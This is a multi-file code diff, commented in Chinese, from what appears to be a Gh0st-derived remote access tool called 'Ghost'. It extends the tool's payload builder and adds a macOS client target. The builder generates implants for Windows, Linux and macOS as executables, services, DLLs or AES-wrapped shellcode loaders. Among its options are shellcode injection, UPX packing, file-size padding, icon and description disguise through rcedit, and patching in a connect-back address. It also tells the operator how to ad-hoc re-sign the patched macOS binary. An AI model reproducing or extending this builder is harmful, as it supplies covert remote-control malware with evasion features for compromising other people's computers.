|
<None Include="res\3rd\SCLoader_64.exe" />
|
||||||
|
<None Include="lang\en_US.ini" />
|
||||||
|
<None Include="lang\zh_TW.ini" />
|
||||||
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||||
|
<None Include="..\..\macos\ghost" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Text Include="..\..\ReadMe.md" />
|
<Text Include="..\..\ReadMe.md" />
|
||||||
@@ -332,4 +340,9 @@
|
|||||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||||
</Filter>
|
</Filter>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="res\web\xterm.min.js" />
|
||||||
|
<None Include="res\web\xterm.css" />
|
||||||
|
<None Include="res\web\fit.min.js" />
|
||||||
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -10,6 +10,8 @@
|
|||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include <bcrypt.h>
|
#include <bcrypt.h>
|
||||||
#include <wincrypt.h>
|
#include <wincrypt.h>
|
||||||
|
#include <Shlwapi.h>
|
||||||
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
#include "Resource.h"
|
#include "Resource.h"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "client/reg_startup.h"
|
#include "client/reg_startup.h"
|
||||||
@@ -26,6 +28,7 @@ enum Index {
|
|||||||
IndexGhostMsc,
|
IndexGhostMsc,
|
||||||
IndexTestRunMsc,
|
IndexTestRunMsc,
|
||||||
IndexLinuxGhost,
|
IndexLinuxGhost,
|
||||||
|
IndexMacGhost,
|
||||||
OTHER_ITEM
|
OTHER_ITEM
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -49,11 +52,66 @@ std::string GetPwdHash();
|
|||||||
|
|
||||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||||
|
|
||||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize)
|
// 获取程序目录下 res 子目录的路径
|
||||||
|
static CString GetResDirectoryPath()
|
||||||
|
{
|
||||||
|
TCHAR szPath[MAX_PATH];
|
||||||
|
GetModuleFileName(NULL, szPath, MAX_PATH);
|
||||||
|
PathRemoveFileSpec(szPath);
|
||||||
|
PathAppend(szPath, _T("res"));
|
||||||
|
return CString(szPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从外部文件读取资源(优先级高于内嵌资源)
|
||||||
|
static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
|
||||||
|
{
|
||||||
|
if (!resName || !resName[0]) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString resDir = GetResDirectoryPath();
|
||||||
|
CString filePath;
|
||||||
|
filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
|
||||||
|
|
||||||
|
// 检查文件是否存在
|
||||||
|
if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打开文件
|
||||||
|
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||||
|
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取文件大小
|
||||||
|
LARGE_INTEGER fileSize;
|
||||||
|
if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分配内存并读取文件
|
||||||
|
dwSize = (DWORD)fileSize.QuadPart;
|
||||||
|
LPBYTE buffer = new BYTE[dwSize];
|
||||||
|
DWORD bytesRead = 0;
|
||||||
|
if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
|
||||||
|
delete[] buffer;
|
||||||
|
CloseHandle(hFile);
|
||||||
|
dwSize = 0;
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从内嵌资源读取
|
||||||
|
static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
|
||||||
{
|
{
|
||||||
dwSize = 0;
|
dwSize = 0;
|
||||||
auto id = resourceId;
|
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
|
||||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
|
||||||
if (hResource == NULL) {
|
if (hResource == NULL) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -76,6 +134,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
|
|||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||||||
|
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||||||
|
LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
|
||||||
|
{
|
||||||
|
dwSize = 0;
|
||||||
|
|
||||||
|
// 1. 优先尝试从 res 目录读取外部文件
|
||||||
|
if (resName && resName[0]) {
|
||||||
|
LPBYTE data = ReadResourceFromFile(resName, dwSize);
|
||||||
|
if (data) {
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 回退到内嵌资源
|
||||||
|
return ReadResourceFromEmbedded(resourceId, dwSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ========== res 目录外部资源文件名定义 ==========
|
||||||
|
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||||||
|
// 架构:x86 / x64 / linux / macos
|
||||||
|
namespace ResFileName {
|
||||||
|
// Ghost 主程序
|
||||||
|
const char* GHOST_X86 = "ghost_x86.exe";
|
||||||
|
const char* GHOST_X64 = "ghost_x64.exe";
|
||||||
|
const char* GHOST_LINUX = "ghost_linux";
|
||||||
|
const char* GHOST_MACOS = "ghost_macos"; // 预留
|
||||||
|
// TestRun 加载器
|
||||||
|
const char* TESTRUN_X86 = "testrun_x86.dll";
|
||||||
|
const char* TESTRUN_X64 = "testrun_x64.dll";
|
||||||
|
// ServerDll
|
||||||
|
const char* SERVERDLL_X86 = "serverdll_x86.dll";
|
||||||
|
const char* SERVERDLL_X64 = "serverdll_x64.dll";
|
||||||
|
// TinyRun
|
||||||
|
const char* TINYRUN_X86 = "tinyrun_x86.exe";
|
||||||
|
const char* TINYRUN_X64 = "tinyrun_x64.exe";
|
||||||
|
// SCLoader (Shellcode加载器)
|
||||||
|
const char* SCLOADER_X86 = "scloader_x86.bin";
|
||||||
|
const char* SCLOADER_X64 = "scloader_x64.bin";
|
||||||
|
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
|
||||||
|
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
|
||||||
|
// FRP 相关 (无架构区分,64位DLL)
|
||||||
|
const char* FRPC_DLL = "frpc.dll";
|
||||||
|
const char* FRPS_DLL = "frps.dll";
|
||||||
|
// 工具
|
||||||
|
const char* UPX_EXE = "upx.exe";
|
||||||
|
const char* RCEDIT_EXE = "rcedit.exe";
|
||||||
|
}
|
||||||
|
|
||||||
CString GenerateRandomName(int nLength)
|
CString GenerateRandomName(int nLength)
|
||||||
{
|
{
|
||||||
@@ -180,10 +286,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
|
|||||||
|
|
||||||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
|
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
|
||||||
|
|
||||||
std::string ReleaseEXE(int resID, const char* name)
|
std::string ReleaseEXE(int resID, const char* name, const char* resName)
|
||||||
{
|
{
|
||||||
DWORD dwSize = 0;
|
DWORD dwSize = 0;
|
||||||
LPBYTE data = ReadResource(resID, dwSize);
|
LPBYTE data = ReadResource(resID, dwSize, resName);
|
||||||
if (!data)
|
if (!data)
|
||||||
return "";
|
return "";
|
||||||
|
|
||||||
@@ -312,7 +418,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (index == IndexLinuxGhost) {
|
if (index == IndexLinuxGhost || index == IndexMacGhost) {
|
||||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||||
m_SliderClientSize.SetPos(0);
|
m_SliderClientSize.SetPos(0);
|
||||||
}
|
}
|
||||||
@@ -329,42 +435,53 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
startup = std::map<int, int> {
|
startup = std::map<int, int> {
|
||||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||||
} [index];
|
} [index];
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||||
break;
|
break;
|
||||||
case IndexGhost:
|
case IndexGhost:
|
||||||
file = "ghost.exe";
|
file = "ghost.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_ONE;
|
typ = CLIENT_TYPE_ONE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||||
break;
|
break;
|
||||||
case IndexGhostMsc:
|
case IndexGhostMsc:
|
||||||
file = "ghost.exe";
|
file = "ghost.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_ONE;
|
typ = CLIENT_TYPE_ONE;
|
||||||
startup = Startup_GhostMsc;
|
startup = Startup_GhostMsc;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||||
break;
|
break;
|
||||||
case IndexTestRunMsc:
|
case IndexTestRunMsc:
|
||||||
file = "TestRun.exe";
|
file = "TestRun.exe";
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_MEMDLL;
|
typ = CLIENT_TYPE_MEMDLL;
|
||||||
startup = Startup_TestRunMsc;
|
startup = Startup_TestRunMsc;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||||
break;
|
break;
|
||||||
case IndexServerDll:
|
case IndexServerDll:
|
||||||
file = "ServerDll.dll";
|
file = "ServerDll.dll";
|
||||||
typ = CLIENT_TYPE_DLL;
|
typ = CLIENT_TYPE_DLL;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||||||
break;
|
break;
|
||||||
case IndexTinyRun:
|
case IndexTinyRun:
|
||||||
file = "TinyRun.dll";
|
file = "TinyRun.dll";
|
||||||
typ = CLIENT_TYPE_SHELLCODE;
|
typ = CLIENT_TYPE_SHELLCODE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
|
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||||
break;
|
break;
|
||||||
case IndexLinuxGhost:
|
case IndexLinuxGhost:
|
||||||
file = "ghost";
|
file = "ghost";
|
||||||
typ = CLIENT_TYPE_LINUX;
|
typ = CLIENT_TYPE_LINUX;
|
||||||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
|
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
|
||||||
|
break;
|
||||||
|
case IndexMacGhost:
|
||||||
|
file = "ghost";
|
||||||
|
typ = CLIENT_TYPE_MACOS;
|
||||||
|
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||||||
break;
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
@@ -470,7 +587,8 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
} else {
|
} else {
|
||||||
if (sel == CLIENT_COMPRESS_SC_AES) {
|
if (sel == CLIENT_COMPRESS_SC_AES) {
|
||||||
DWORD dwSize = 0;
|
DWORD dwSize = 0;
|
||||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
|
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
|
||||||
|
is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
|
||||||
if (data) {
|
if (data) {
|
||||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||||
if (iOffset != -1) {
|
if (iOffset != -1) {
|
||||||
@@ -534,7 +652,8 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
||||||
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||||||
DWORD dwSize = 0;
|
DWORD dwSize = 0;
|
||||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
|
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
|
||||||
|
is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
|
||||||
if (data) {
|
if (data) {
|
||||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||||
if (iOffset != -1) {
|
if (iOffset != -1) {
|
||||||
@@ -586,7 +705,18 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
std::vector<char> padding(size, time(0)%256);
|
std::vector<char> padding(size, time(0)%256);
|
||||||
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
|
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
|
||||||
}
|
}
|
||||||
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
|
CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip;
|
||||||
|
// macOS binary 被 patch 后签名失效,AMFI 会 SIGKILL。提醒走 install.sh
|
||||||
|
// (内部会 ad-hoc 重签) 或手动 codesign。
|
||||||
|
if (typ == CLIENT_TYPE_MACOS) {
|
||||||
|
successMsg += "\r\n\r\n";
|
||||||
|
successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。");
|
||||||
|
successMsg += "\r\n";
|
||||||
|
successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。");
|
||||||
|
successMsg += "\r\n";
|
||||||
|
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
|
||||||
|
}
|
||||||
|
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
if (index == IndexTestRun_DLL) return;
|
if (index == IndexTestRun_DLL) return;
|
||||||
@@ -650,6 +780,7 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
|
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
|
||||||
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
||||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||||
|
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||||
|
|
||||||
@@ -751,9 +882,34 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
|||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||||
|
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||||||
|
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||||||
|
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||||||
|
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||||
|
{
|
||||||
|
static const int ids[] = {
|
||||||
|
// 架构
|
||||||
|
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||||||
|
// 加壳
|
||||||
|
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||||||
|
// 高级 group + 内部所有控件
|
||||||
|
IDC_STATIC_BUILD_ADVANCED,
|
||||||
|
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||||||
|
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||||||
|
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||||||
|
IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE,
|
||||||
|
IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL,
|
||||||
|
};
|
||||||
|
for (int id : ids) {
|
||||||
|
if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||||
{
|
{
|
||||||
auto n = m_ComboExe.GetCurSel();
|
auto n = m_ComboExe.GetCurSel();
|
||||||
|
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
|
||||||
if (n == OTHER_ITEM) {
|
if (n == OTHER_ITEM) {
|
||||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||||
if (!name.IsEmpty()) {
|
if (!name.IsEmpty()) {
|
||||||
|
|||||||
@@ -3,9 +3,42 @@
|
|||||||
#include "Buffer.h"
|
#include "Buffer.h"
|
||||||
#include "LangManager.h"
|
#include "LangManager.h"
|
||||||
|
|
||||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
|
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||||||
|
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||||||
|
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);
|
||||||
|
|
||||||
std::string ReleaseEXE(int resID, const char* name);
|
std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
|
||||||
|
|
||||||
|
// ========== res 目录外部资源文件名定义 ==========
|
||||||
|
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||||||
|
// 架构:x86 / x64 / linux / macos
|
||||||
|
namespace ResFileName {
|
||||||
|
// Ghost 主程序
|
||||||
|
extern const char* GHOST_X86;
|
||||||
|
extern const char* GHOST_X64;
|
||||||
|
extern const char* GHOST_LINUX;
|
||||||
|
extern const char* GHOST_MACOS; // 预留
|
||||||
|
// TestRun 加载器
|
||||||
|
extern const char* TESTRUN_X86;
|
||||||
|
extern const char* TESTRUN_X64;
|
||||||
|
// ServerDll
|
||||||
|
extern const char* SERVERDLL_X86;
|
||||||
|
extern const char* SERVERDLL_X64;
|
||||||
|
// TinyRun
|
||||||
|
extern const char* TINYRUN_X86;
|
||||||
|
extern const char* TINYRUN_X64;
|
||||||
|
// SCLoader (Shellcode加载器)
|
||||||
|
extern const char* SCLOADER_X86;
|
||||||
|
extern const char* SCLOADER_X64;
|
||||||
|
extern const char* SCLOADER_X86_OLD;
|
||||||
|
extern const char* SCLOADER_X64_OLD;
|
||||||
|
// FRP 相关 (无架构区分,64位DLL)
|
||||||
|
extern const char* FRPC_DLL;
|
||||||
|
extern const char* FRPS_DLL;
|
||||||
|
// 工具
|
||||||
|
extern const char* UPX_EXE;
|
||||||
|
extern const char* RCEDIT_EXE;
|
||||||
|
}
|
||||||
|
|
||||||
CString BuildPayloadUrl(const char* ip, const char* name);
|
CString BuildPayloadUrl(const char* ip, const char* name);
|
||||||
|
|
||||||
@@ -71,4 +104,7 @@ public:
|
|||||||
CString m_sDownloadUrl;
|
CString m_sDownloadUrl;
|
||||||
afx_msg void OnBnClickedCheckFileserver();
|
afx_msg void OnBnClickedCheckFileserver();
|
||||||
afx_msg void OnCbnSelchangeComboPayload();
|
afx_msg void OnCbnSelchangeComboPayload();
|
||||||
|
|
||||||
|
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
||||||
|
void EnableWindowsOnlyControls(BOOL enable);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#include "CRcEditDlg.h"
|
#include "CRcEditDlg.h"
|
||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
#include "Resource.h"
|
#include "Resource.h"
|
||||||
|
#include "BuildDlg.h"
|
||||||
|
|
||||||
|
|
||||||
// CRcEditDlg 对话框
|
// CRcEditDlg 对话框
|
||||||
@@ -78,10 +79,9 @@ void CRcEditDlg::OnOK()
|
|||||||
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
std::string ReleaseEXE(int resID, const char* name);
|
|
||||||
int run_cmd(std::string cmdLine);
|
int run_cmd(std::string cmdLine);
|
||||||
|
|
||||||
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
|
std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe", ResFileName::RCEDIT_EXE);
|
||||||
if (rcedit.empty()) {
|
if (rcedit.empty()) {
|
||||||
MessageBoxL("解压程序失败,无法操作PE!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("解压程序失败,无法操作PE!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -8,8 +8,13 @@
|
|||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "ZstdArchive.h"
|
#include "ZstdArchive.h"
|
||||||
#include "2015RemoteDlg.h"
|
#include "2015RemoteDlg.h"
|
||||||
|
#include "CDlgFileSend.h"
|
||||||
#include <Shlobj.h>
|
#include <Shlobj.h>
|
||||||
|
|
||||||
|
// V2 接收用:定义在 CPasswordDlg.cpp,按本仓约定就地前置声明
|
||||||
|
std::string GetPwdHash();
|
||||||
|
std::string GetHMAC(int offset);
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define new DEBUG_NEW
|
#define new DEBUG_NEW
|
||||||
#undef THIS_FILE
|
#undef THIS_FILE
|
||||||
@@ -25,6 +30,24 @@ static UINT indicators[] = {
|
|||||||
#define MAX_SEND_BUFFER 65535
|
#define MAX_SEND_BUFFER 65535
|
||||||
#define MAX_RECV_BUFFER 65535
|
#define MAX_RECV_BUFFER 65535
|
||||||
|
|
||||||
|
// 静态成员变量定义 - 历史路径记录
|
||||||
|
CString CFileManagerDlg::s_strLocalHistoryPath;
|
||||||
|
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
||||||
|
CLock CFileManagerDlg::s_lockHistory;
|
||||||
|
|
||||||
|
// 获取有效的客户端ID:基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
|
||||||
|
// 这里仅在它们都拿不到时(老客户端没走 auth)通过 IP 反查主连接做兜底。
|
||||||
|
uint64_t CFileManagerDlg::GetClientID() const
|
||||||
|
{
|
||||||
|
uint64_t id = CDialogBase::GetClientID();
|
||||||
|
if (id != 0) return id;
|
||||||
|
// 老客户端兜底:通过 IP 找主连接获取 ClientID(线程安全)
|
||||||
|
if (g_2015RemoteDlg && m_ContextObject) {
|
||||||
|
return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
LVITEM* plvi;
|
LVITEM* plvi;
|
||||||
CString sCol2;
|
CString sCol2;
|
||||||
@@ -137,10 +160,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
|||||||
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
|
ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
|
||||||
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
|
ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
|
||||||
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
|
ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
|
||||||
|
ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
|
||||||
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
|
ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
|
||||||
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
|
ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
|
||||||
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
|
ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
|
||||||
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
|
ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
|
||||||
|
ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
|
||||||
